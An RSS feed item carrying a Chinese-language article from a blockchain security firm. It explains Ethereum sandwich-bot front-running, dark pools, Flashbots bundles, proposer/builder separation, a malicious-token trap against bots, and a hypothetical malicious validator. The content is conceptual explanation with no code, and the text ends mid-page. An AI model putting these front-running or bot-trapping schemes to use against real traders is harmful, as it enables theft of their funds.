<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>零鉴科技</title>
    <link>https://wechat2rss.xlab.app/feed/f7f4ab7bdc8c827727561bd14ed6c26ad0624a6f.xml</link>
    <description>长沙零鉴科技有限公司&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (零鉴科技)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM6BZUOKLgIgk5RhaWQPOWubPvzooTv7ftFlex1FErONIw/0</url>
      <title>零鉴科技</title>
      <link>https://wechat2rss.xlab.app/feed/f7f4ab7bdc8c827727561bd14ed6c26ad0624a6f.xml</link>
    </image>
    <item>
      <title>Don&#39;t Eat My Sandwich</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247502907&amp;idx=1&amp;sn=3e243b398d98c5630b7e8bc4c730670f</link>
      <description>三明治交易是一种利用闪电贷和 AMM 自动化做市商的策略，通过在交易对中同时进行两笔交易来实现利润。这种策略被广泛应用于去中心化交易所（DEX）和其他区块链金融应用中。</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2023-07-28 16:20</span> <span style="display: inline-block;">北京</span>
</p>

<p>三明治交易是一种利用闪电贷和 AMM 自动化做市商的策略，通过在交易对中同时进行两笔交易来实现利润。这种策略被广泛应用于去中心化交易所（DEX）和其他区块链金融应用中。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1ea5f171&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldeiaf0k4PWVrCd6xicKa5kymXJF9bhOXx4w3HfByIib2yq0RD0SvCicqMNM8PZw70mAdObbsPibhNy2gww%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section powered-by="xiumi.us" style="text-align: center;margin-top: 10px;margin-bottom: -10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 30px;height: auto;"><img data-ratio="1.574" data-s="300,640" style="vertical-align: middle;width: 30px;" data-type="png" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=6c616d0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf3RUL4MNoPPpfuQKjfXMj5wxTLeiayKPrYrvrUWiawfYFSsRHgPfibzR7fh5uz8PV3tfNTRibB7Aj0bw%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="font-size: 16px;letter-spacing: normal;white-space: normal;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);line-height: 1.75em;"><section powered-by="xiumi.us" style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-bottom: 10px;"><section style="display: inline-block;vertical-align: top;width: 10px;align-self: stretch;flex: 0 0 auto;height: auto;border-top-style: solid;border-top-width: 1px;border-top-color: rgb(5, 8, 35);border-bottom-style: solid;border-bottom-width: 1px;border-bottom-color: rgb(5, 8, 35);border-left-style: solid;border-left-width: 1px;border-left-color: rgb(5, 8, 35);z-index: 1;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section><section style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 100 100 0%;height: auto;margin-right: -10px;margin-left: -10px;z-index: 0;padding: 10px;"><section powered-by="xiumi.us" style="text-align: justify;font-size: 15px;color: rgb(62, 62, 62);"><p><span style="-webkit-background-clip: text;"><strong>三明治交易是一种利用闪电贷和 AMM 自动化做市商的策略，通过在交易对中同时进行两笔交易来实现利润。这种策略被广泛应用于去中心化交易所（DEX）和其他区块链金融应用中。然而，由于区块链的去中心化和透明性，这种策略也会成为攻击者的目标。本文将从三明治交易的原理出发，深入探讨一次针对以太坊三明治机器人的攻击事件，分析攻击者的手段和攻击原理。同时，我们也将介绍一些区块链上的基本概念和技术，以帮助读者更好地理解本文内容。</strong></span></p></section></section><section style="display: inline-block;vertical-align: top;width: 10px;align-self: stretch;flex: 0 0 auto;border-top-style: solid;border-top-width: 1px;border-top-color: rgb(5, 8, 35);border-bottom-style: solid;border-bottom-width: 1px;border-bottom-color: rgb(5, 8, 35);border-right-style: solid;border-right-width: 1px;border-right-color: rgb(5, 8, 35);height: auto;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><p powered-by="xiumi.us"><br/></p><section powered-by="xiumi.us" style="text-align: center;justify-content: center;margin-top: 10px;margin-bottom: 10px;display: flex;flex-flow: row;"><section style="display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 1px 0px;border-color: rgb(62, 62, 62);min-width: 10%;flex: 0 0 auto;height: auto;padding: 11px;align-self: flex-start;"><section powered-by="xiumi.us" style="display: flex;flex-flow: row;justify-content: center;"><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;"><section powered-by="xiumi.us" style="margin-top: 9px;"><section style="display: inline-block;width: 10px;height: 10px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 117px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;align-self: center;margin-right: 10px;margin-left: 10px;"><section powered-by="xiumi.us" style="text-align: justify;font-size: 17px;"><p><strong>三明治攻击原理</strong></p></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;"><section powered-by="xiumi.us" style="margin-top: 9px;"><section style="display: inline-block;width: 10px;height: 10px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 117px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section><section powered-by="xiumi.us"><section style="line-height: 1.75em;"><span style="font-size: 15px;">三明治攻击是通过抢跑 (front-running) 与跟跑 (back-running) 组合形成的攻击手法。如果一个用户大量买入一种数字货币，那么该数字货币的价格便会上涨。如果能发现这样的大单交易，并且在大单交易<span style="color: rgb(255, 129, 36);">之前</span>买入该数字货币，在大单交易<span style="color: rgb(255, 129, 36);">成交后</span>立刻卖出该数字货币，那么这样便能通过该大单交易引发的<span style="color: rgb(255, 129, 36);">价格差</span>获取利润。</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">由于这种攻击手法用两笔交易&#34;夹&#34;住了目标的交易，因此三明治机器人也称为夹子机器人。</span></section><p><span style="font-size: 15px;"></span></p><p style="text-align: center;"><span style="font-size: 17px;">交易顺序如何决定</span></p></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us" style="font-size: 15px;"><section style="line-height: 1.75em;">当交易者想要发起一个交易时，交易者会为交易设定一个 gas price。矿工会挑选 gas price 高的交易优先进行打包，因为高 gas price 一定程度上代表了了打包该交易能获得的收益。</section><section style="line-height: 1.75em;">而实际上矿工的收益还由最终执行合约使用的 <span style="color: rgb(255, 129, 36);">gas 数量</span>决定，因此攻击者会想方设法<span style="color: rgb(255, 129, 36);">优化代码</span>以此来降低合约使用的 gas 数量，进而降低攻击所需要的成本。</section><p><br/></p></section><section powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;text-align: center;"><p>三明治机器人如何运转</p></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us" style="font-size: 15px;"><section style="line-height: 1.75em;">1.在 mempool 中监听发向 dex（去中心化交易所）的交易</section><section style="line-height: 1.75em;">2.解析交易获取交易的相关信息</section><section style="line-height: 1.75em;">3.根据合约当前的状态计算出该交易可以引发的价格波动，进而计算出利润</section><section style="line-height: 1.75em;">4.如果利润大于发起交易的成本（gas），那么就发起两笔交易：第一笔交易是与目标交易对象相同的买入交易，并设定一个高于目标交易的 gas price，使该交易抢先在目标交易达成之前买入（front run）；第二笔交易是卖出交易，设定一个略低于目标交易的 gas price，使该交易在目标交易达成后立刻卖出（back run）。</section><p><br/></p></section><section powered-by="xiumi.us" style="text-align: center;justify-content: center;margin-top: 10px;margin-bottom: 10px;display: flex;flex-flow: row;"><section style="display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 1px 0px;border-color: rgb(62, 62, 62);min-width: 10%;flex: 0 0 auto;height: auto;padding: 11px;align-self: flex-start;"><section powered-by="xiumi.us" style="display: flex;flex-flow: row;justify-content: center;"><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;"><section powered-by="xiumi.us" style="margin-top: 9px;"><section style="display: inline-block;width: 10px;height: 10px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 117px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;align-self: center;margin-right: 10px;margin-left: 10px;"><section powered-by="xiumi.us" style="text-align: justify;font-size: 17px;"><p style="text-align: center;"><strong>当机器人开始争夺三明治</strong></p></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;"><section powered-by="xiumi.us" style="margin-top: 9px;"><section style="display: inline-block;width: 10px;height: 10px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 117px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section><section powered-by="xiumi.us"><section style="line-height: 1.75em;"><span style="font-size: 15px;">三明治攻击并非是稳定赚钱的，因为正如交易者的交易会在内存池一样，攻击者的交易同样也会在内存池，因此同样也会遭受到其他三明治机器人的攻击。当各方开始争夺这个三明治时，为了让自己的交易最先执行，贿赂给矿工的 gas 费会不断升高，直到这个 gas 费几乎等同于这次攻击能够获取的利润。</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">如果有一种方式能直接与矿工联系、或者干脆由自己来在区块中排序，而不是将自己的交易广播到内存池，那么对于普通的交易者而言他可以免受三明治攻击，而对于攻击者而言，他也能提高攻击的成功率，并且免受其他机器人的干扰，<span style="color: rgb(255, 129, 36);">暗池</span>由此而来。</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">通过暗池避免了被抢跑攻击： Escaping the Dark Forest</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;color: rgb(95, 156, 239);"><a href="https://samczsun.com/escaping-the-dark-forest/" target="_blank">https://samczsun.com/escaping-the-dark-forest/</a></span></section><p><br/></p></section><section powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;text-align: center;"><p>狩猎通用型三明治机器人</p></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us"><section style="line-height: 1.75em;"><span style="font-size: 15px;">Defi-Cartel/salmonella: Wrecking sandwich traders for fun and profit</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">攻击者部署了一种恶意代币，当非合约拥有者 transfer 该代币时合约只发送代币数量的 10%。之后攻击者以一个稍低的 gas price 发起诱饵交易，当 gas price 下降后则取消该交易，直到该交易被机器人放进一个 bundle 中打包执行。由于该合约对非拥有者只发送目标数量的 10%，因此机器人的资金将被攻击者&#34;掠走&#34;。</span></section><p><br/></p></section><section powered-by="xiumi.us" style="text-align: center;justify-content: center;margin-top: 10px;margin-bottom: 10px;display: flex;flex-flow: row;"><section style="display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 1px 0px;border-color: rgb(62, 62, 62);min-width: 10%;flex: 0 0 auto;height: auto;padding: 11px;align-self: flex-start;"><section powered-by="xiumi.us" style="display: flex;flex-flow: row;justify-content: center;"><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;"><section powered-by="xiumi.us" style="margin-top: 9px;"><section style="display: inline-block;width: 10px;height: 10px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 117px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;align-self: center;margin-right: 10px;margin-left: 10px;"><section powered-by="xiumi.us" style="text-align: justify;font-size: 17px;"><p>FlashBots Auction</p></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;"><section powered-by="xiumi.us" style="margin-top: 9px;"><section style="display: inline-block;width: 10px;height: 10px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 117px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section><section powered-by="xiumi.us"><section style="line-height: 1.75em;"><span style="font-size: 15px;">正常来说交易发起者通过<span style="color: rgb(255, 129, 36);">将交易广播到交易池</span>，让交易被矿工得知。矿工根据每笔交易的 gas price 来挑选能为他获得最大利润的交易打包到区块中。由于公开的交易池有被抢跑的风险，因此就有了<span style="color: rgb(255, 129, 36);">暗池</span>的出现，交易发起者可以通过将交易发送给特定的矿工或矿池来避免抢跑风险。这种方式被称为暗池交易。暗池交易虽然可以保证交易不被公开，但由于暗池并非是人人都有渠道去使用的，有些人认为这有违于以太坊作为一个去中心化、开放且透明的平台的原则，因此一个名为 FlashBots 的组织推出了一系列项目来创建一个“permissionless, transparent, and fair”的 MEV 生态。简单来说就是让人人都有暗池用。</span></section><p><span style="font-size: 15px;"></span></p></section><section powered-by="xiumi.us" style="text-align: center;justify-content: center;margin-top: 10px;margin-bottom: 10px;display: flex;flex-flow: row;"><section style="display: inline-block;width: 697.75px;vertical-align: top;border-style: solid;border-width: 0px 0px 0px 1px;border-color: rgb(66, 82, 190) rgb(66, 82, 190) rgb(66, 82, 190) rgb(52, 54, 121);padding-top: 21px;padding-bottom: 21px;padding-left: 21px;flex: 0 0 auto;height: auto;align-self: flex-start;"><section powered-by="xiumi.us" style="text-align: left;font-size: 15px;"><p>We believe that without the adoption of neutral, public, open-source infrastructure for permissionless MEV extraction, MEV risks becoming an insiders’ game. We commit as an organization to releasing reference implementations for participation in fair, ethical, and politically neutral MEV extraction. By doing so, we hope to prevent the properties of Ethereum from being eroded by trust-based dark pools or proprietary channels which are key points of security weakness.</p></section></section></section><section powered-by="xiumi.us" style="margin-top: 10px;margin-bottom: 10px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: bottom;width: 392px;padding-right: 5px;padding-left: 5px;align-self: flex-end;flex: 0 0 auto;"><section powered-by="xiumi.us" style="transform: translate3d(34px, 0px, 0px);"><section style="color: rgb(52, 54, 121);text-align: justify;"><p>✦</p></section></section><section powered-by="xiumi.us" style="transform: translate3d(12px, 0px, 0px);"><section style="color: rgb(52, 54, 121);font-size: 12px;text-align: justify;"><p>✦</p></section></section><section powered-by="xiumi.us" style="text-align: justify;"><p><br/></p></section></section><section style="display: inline-block;vertical-align: bottom;width: 392px;padding-right: 5px;padding-left: 5px;align-self: flex-end;flex: 0 0 auto;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section><section powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;text-align: center;"><p>POW 时期的设计</p></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us" style="text-align: left;"><section style="line-height: 1.75em;"><span style="font-size: 15px;">FlashBots 引入了&#34;searcher&#34;,&#34;transcation bundles&#34;以及&#34;block template&#34;的概念。搜索者在交易池中搜索交易并将几个交易打包为一个 bundle，这些 bundle 可以在 FlashBots 协议中被矿工按照拍卖的形式购买，最终由矿工组成 block template，以期望从中获得最大化的 MEV。使用 MEV-Geth 客户端能够让矿工更容易地获取 MEV 收益，同时也提高了交易池的效率和安全性。</span></section></section><section powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;text-align: center;"><p>POS 升级之后</p></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us"><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">FlashBots 引入了新的概念：searcher、builder 和 relayer，用于协助矿工或验证人获取 MEV 收益。searcher 在交易池中搜索交易，并将几个交易打包成一个 bundle；builder 则将多个 bundle 组装成一个可以被验证人使用的区块模板，并将其发送到 relayer；relayer 选择最有利润的区块模板并将其分发给相应的验证人进行区块构建。</span></section><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.34629629629629627" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6d5787a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeiaf0k4PWVrCd6xicKa5kymXulfGeQavia0beRjiaHU6tPwV0DowIPUY76Lwic706Dce8r5EiaWAJXuVWA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p></section><section powered-by="xiumi.us" style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img data-ratio="0.34629629629629627" data-s="300,640" style="vertical-align: middle;width: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b7cd9ad2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf3RUL4MNoPPpfuQKjfXMj5LibTNR4nQEUUMyEwNNqiaJQAHYjfrO7rFOYvbbDrZ5XMJcYQRk01ueeA%2F640%3Fwx_fmt%3Dpng"/></section></section><section powered-by="xiumi.us"><p style="text-align: left;"><span style="font-size: 15px;">Overview | Flashbots Docs --- 概述 | Flashbots 文档</span></p><p><br/></p><section style="text-align: left;line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;"><a href="https://docs.flashbots.net/flashbots-auction/overview" target="_blank">https://docs.flashbots.net/flashbots-auction/overview</a></span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(255, 129, 36);">如果攻击者可以获取并修改 bundle 中的交易，那么还是有机会对使用 flashbots 的交易进行攻击的。</span></section><p><span style="color: rgb(95, 156, 239);"></span></p></section><section powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;text-align: center;"><p>Frontrunning As A Service</p></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us" style="color: rgb(255, 129, 36);"><section style="line-height: 1.75em;"><span style="font-size: 15px;color: rgb(0, 0, 0);">FlashBots Auction 的出现一方面能够让使用 flashbots 的交易避免被抢跑，但另外一方面同时也给了攻击者很大的便利。由于一个 bundle 是一组已排序好且未完成的以太坊交易，因此攻击者可以通过在内存池中搜索交易，并且将自己的交易与目标交易打包成一个 bundle 递交给 builder。并且小费是以 eth 形式转账给矿工的，这些交易不需要支付 Gas 费，失败的交易也不需要支付成本。只有当交易搜索者的捆绑交易被包含在一个区块中，捆绑交易中的小费才会支付给矿工，这大大降低了攻击者的成本。</span></section><p><br/></p></section><section powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;"><p style="text-align: center;">Relayer, Validator, and PBS</p></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us"><section style="line-height: 1.75em;"><span style="font-size: 15px;">现在假设我们是一个恶意的验证者，在以太坊潜伏了很长时间，终于等到了一次<span style="color: rgb(255, 129, 36);">出块</span>的机会，那么我们应该如何利用这个机会让我们的利益最大化？我们知道，来自 relayer 的区块往往都蕴含着很大的获利机会，因此 searcher 才会将这些交易打包为 bundle 投递给 block builder。那么此时作为 propersor，我们是否有可能抢跑这些 bundle 中的交易，将那些 bundle 中的利润化为己有呢？</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">在 POS 的机制下，如果我们既可以排序区块内交易的顺序又可以出块，相当于我们有了一次无风险且必定成功的抢跑机会。我们可以找出 bundle 中能获利的交易，将那笔利润变为自己的。于是便有了 PBS 机制（Proposer / Builder Separation），目的在于分离 proposer 与 builder 这两个角色。</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">实际上 relayer 正是为了防止这样情况的出现而设计的，relayer 并不会将 builder 构建的区块内容直接发送给 validator，而是仅仅发送区块头以告诉 validator 该区块可获取的利润。当确保 validator 会提议该区块出块后 (在 validator 对该区块头进行签名之后) 才会将区块的全部内容发送给 validator，这保证了 validator 无法再通过对区块进行修改来作恶。</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">·如果 relayer 是一个恶意 relayer，伪造了一个高利润的区块头（实际并不存在）发送给 validator 并被采用，那么该 validator 则会损失一个出块的利润。</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">·如果通过某种手段能够提前获取到 bundle 的内容，则恶意的 validator 就可以通过这个出块机会的时候获利。</span></section><section style="line-height: 1.75em;"><br/></section><section style="line-height: 1.75em;"><strong>Relayer 如何确保 proposer 会提议该区块</strong></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">relay 在收到 proposer 签名的区块头后，会将该签名后的区块头发送到 beacon chain 供其他 validator 验证，以此来确保该 proposer 正确出块。</span></section></section><section style="line-height: 1.75em;"><br/></section><p powered-by="xiumi.us"><br/></p><section powered-by="xiumi.us" style="text-align: center;justify-content: center;margin-top: 10px;margin-bottom: 10px;display: flex;flex-flow: row;"><section style="display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 1px 0px;border-color: rgb(62, 62, 62);min-width: 10%;flex: 0 0 auto;height: auto;padding: 11px;align-self: flex-start;"><section powered-by="xiumi.us" style="display: flex;flex-flow: row;justify-content: center;"><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;"><section powered-by="xiumi.us" style="margin-top: 9px;"><section style="display: inline-block;width: 10px;height: 10px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 117px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;align-self: center;margin-right: 10px;margin-left: 10px;"><section powered-by="xiumi.us" style="text-align: justify;"><p>POS Proposer 选择</p></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;"><section powered-by="xiumi.us" style="margin-top: 9px;"><section style="display: inline-block;width: 10px;height: 10px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 117px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section><section powered-by="xiumi.us" style="font-size: 15px;"><section style="line-height: 1.75em;">Block proposal | ethereum.org</section><section style="line-height: 1.75em;"><a href="https://ethereum.org/en/developers/docs/consensus-mechanisms/pos/block-proposal/" target="_blank">https://ethereum.org/en/developers/docs/consensus-mechanisms/pos/block-proposal/</a></section><section style="line-height: 1.75em;">以太坊将一个周期称为 epoch，每个 epoch 有 32 个 slot，每个 slot 代表一个出块机会。每个 slot 间隔 12s，每个 epoch 间隔 6.4min。</section><section style="line-height: 1.75em;">每个 epoch 将选举出 validator 委员会以验证区块的合法性，每个 slot 将选举一个 proposer 来出块。</section></section><section powered-by="xiumi.us" style="text-align: center;justify-content: center;margin-top: 10px;margin-bottom: 10px;display: flex;flex-flow: row;"><section style="display: inline-block;width: 697.75px;vertical-align: top;border-style: solid;border-width: 0px 0px 0px 1px;border-color: rgb(66, 82, 190) rgb(66, 82, 190) rgb(66, 82, 190) rgb(52, 54, 121);padding-top: 21px;padding-bottom: 21px;padding-left: 21px;flex: 0 0 auto;height: auto;align-self: flex-start;"><section powered-by="xiumi.us" style="text-align: left;font-size: 15px;"><p>The validator selection is fixed two epochs in advance as a way to protect against certain kinds of seed manipulation.</p></section></section></section><section powered-by="xiumi.us" style="font-size: 15px;"><p><br/></p><p>选举是<span style="color: rgb(255, 129, 36);">提前两个 epoch</span>决定的</p><p><br/></p></section><section 